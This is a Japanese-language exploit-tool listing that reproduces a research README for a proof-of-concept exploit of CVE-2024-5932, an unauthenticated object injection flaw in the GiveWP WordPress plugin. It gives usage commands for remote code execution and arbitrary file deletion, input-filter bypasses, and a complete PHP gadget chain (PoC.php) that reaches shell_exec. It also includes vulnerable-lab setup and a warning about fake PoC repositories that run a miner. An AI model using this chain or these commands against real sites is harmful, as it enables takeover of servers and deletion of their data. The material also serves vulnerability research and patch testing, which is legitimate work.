Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-5932 — CVE-2024-5932の概念実証エクスプロイトです。GiveWP WordPressプラグインのPHPオブジェクトインジェクション脆弱性で、POPチェーンを利用した認証なしのリモートコード実行と任意ファイル削除を可能にします。 | Kitploit
ツール/GitHubGitHub/nishant-kumar-5173/cve-2024-5932
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育ペイロード開発
GitHubnishant-kumar-5173/cve-2024-5932

CVE-2024-5932

CVE-2024-5932の概念実証エクスプロイトです。GiveWP WordPressプラグインのPHPオブジェクトインジェクション脆弱性で、POPチェーンを利用した認証なしのリモートコード実行と任意ファイル削除を可能にします。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

この投稿は EQSTLab が公開した研究記事です。

❗❗ 重要 ❗❗

現在、xmrig を実行する偽の PoC GitHub リポジトリが存在します。詳細については以下のリンクをご確認ください:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 任意ファイル削除および RCE PoC ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

タイムライン

8月25日 : CVE-2024-5932 ファイル削除 PoC をアップロード

8月26日 : CVE-2024-5932 を使用して任意のコマンド実行に成功しましたが、影響を考慮して開示を検討中です。

8月27日 : RCE Security の Julien Ahrens 氏による 投稿 で PoC の詳細な分析を見つけ、当社の RCE PoC を公開することにしました。追加の RCE PoC を CVE-2024-5932-rce.py としてアップロードしました。

説明

CVE-2024-5932 : GiveWP PHP オブジェクトインジェクションの脆弱性 説明: WordPress 用 GiveWP 寄付プラグインおよびファンドレイジングプラットフォームプラグインは、バージョン 3.14.1 までの全バージョンにおいて、'give_title' パラメータからの信頼できない入力のデシリアライズにより PHP オブジェクトインジェクションに対して脆弱です。これにより、認証されていない攻撃者が PHP オブジェクトを注入することが可能になります。さらに POP チェーンが存在するため、攻撃者はリモートでコードを実行したり、任意のファイルを削除したりすることができます。

使用方法

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

パッケージのインストール

root@kitploit:~
pip install -r requirements.txt

コマンド

root@kitploit:~
# Arbitrary file deletion
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Remote code execution
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

例

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

出力

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

結果

image 2

脆弱な環境

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. 次に脆弱な GiveWP プラグインをダウンロードします:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. GiveWP プラグインの zip ファイルを解凍し、ファイル全体を “/var/www/html/wp-content/plugins” ディレクトリにコピーします。

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. GiveWP プラグインを有効化

image

5. GiveWP プラグインで新しい投稿を追加し、投稿リンクをコピー

image

6. 脆弱なリンクを確認

image

(オプション) Docker 環境に対象ファイルをセットアップ

まず、以下のコマンドで WordPress シェルにアクセスします:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

ファイルが root によって所有されている場合、権限により削除できない可能性があります。そのため、以下のコマンドでテストファイルの所有者を変更する必要があります:

root@kitploit:~
touch test && chown www-data test

image

PHPSTORM によるデバッグ

PHPSTORM を使用して GiveWP をデバッグできます。

1. WordPress (Docker) に xdebug をダウンロード:

root@kitploit:~
pecl install xdebug

2. 次に、WordPress の php.ini ファイルを以下のように設定 (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..そして WordPress をデバッグできます。

3. PHPSTORM を以下のように設定 (ローカル):

image image

4. PHPSTORM の例 (例: TCPDF 任意ファイル削除)

image

分析

脆弱な箇所 (includes/payments/class-give-payment.php)

この箇所で、get_meta() 関数は以前に保存された "give_title" 値をアンシリアライズします。

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

回避手法

strip_tags: nullバイトを置換 -> \0 を使用

stripslashes_deep: バックスラッシュを置換 -> \\\\ を使用

RCE のための POP チェーン

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Return command string)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

攻撃シナリオ

POP チェーンによる RCE

POP チェーンによりリモートコマンド実行が可能です。 image

任意ファイル削除

TCPDF を使用して、任意ファイル削除を悪用できます。

免責事項

このリポジトリは CVE-2024-5932 に対するオブジェクトインジェクションエクスプロイトを意図したものではありません。このプロジェクトの目的は、人々がこの脆弱性について学び、自身のアプリケーションをテストするのに役立つことです。

EQST Insight

当社は毎月 CVE およびマルウェア分析を公開しています。ご興味があれば、以下のリンクから出版物をご確認ください。 https://www.skshieldus.com/eng/business/insight.do

Reference

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

ツールをダウンロード